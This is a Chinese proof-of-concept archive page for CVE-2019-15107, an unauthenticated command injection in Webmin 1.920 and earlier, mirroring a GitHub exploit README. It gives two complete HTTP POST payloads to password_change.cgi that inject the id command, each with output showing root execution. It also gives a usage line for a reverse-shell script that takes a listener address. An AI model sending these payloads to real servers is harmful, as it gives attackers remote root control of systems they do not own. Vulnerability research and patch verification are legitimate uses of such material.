POC详情: a5992579523eb6c67ad452d6b4768bb82edb4886

来源
关联漏洞
标题: Webmin 命令操作系统命令注入漏洞 (CVE-2019-15107)
描述:Webmin是一套基于Web的用于类Unix操作系统中的系统管理工具。 Webmin 1.920及之前版本中的password_change.cgi存在命令操作系统命令注入漏洞。该漏洞源于外部输入数据构造可执行命令过程中,网络系统或产品未正确过滤其中的特殊元素。攻击者可利用该漏洞执行非法命令。
描述
Webmin <=1.920 RCE
介绍
# CVE-2019-15107  Webmin RCE <=1.920 (unauthenticated)

```
1.  Webmin <=1.920
2.  Needs reset Password function to be enabled 
```

### v1.890 POC
```
POST /password_change.cgi HTTP/1.1
Host: 10.11.1.88:10000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: http://10.11.1.88:10000/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

expired=id

<h1>Error - Perl execution Failed</h1>
<p>Your password has expired, and a new one must be chosen.uid=0(root) gid=0(root) groups=0(root)
</p>
```
### <=v1.920 & !=v1.890  POC
```
POST /password_change.cgi HTTP/1.1
Host: 10.11.1.88:10000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: http://10.11.1.88:10000/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

user=root&pam=&expired=2&old=vrvik|id&new1=vrvik&new2=vrvik


<div class="panel-body">
<hr>
<center><h3>Failed to change password : The current password is incorrectuid=0(root) gid=0(root) groups=0(root)
</h3></center>
```

### Script Usage:
#### Tested on v1.890, but should also work for other webmin versions in which this backdoor is installed.
`python3 webmin_rce.py -t http://10.11.1.88:10000 -l 172.16.1.3 -p 8888`

![](https://github.com/ruthvikvegunta/CVE-2019-15107/blob/master/images/webmin_rce.png)
文件快照

[4.0K] /data/pocs/a5992579523eb6c67ad452d6b4768bb82edb4886 ├── [4.0K] images │   └── [180K] webmin_rce.png ├── [ 34K] LICENSE ├── [1.6K] README.md └── [5.3K] webmin_rce.py 1 directory, 4 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。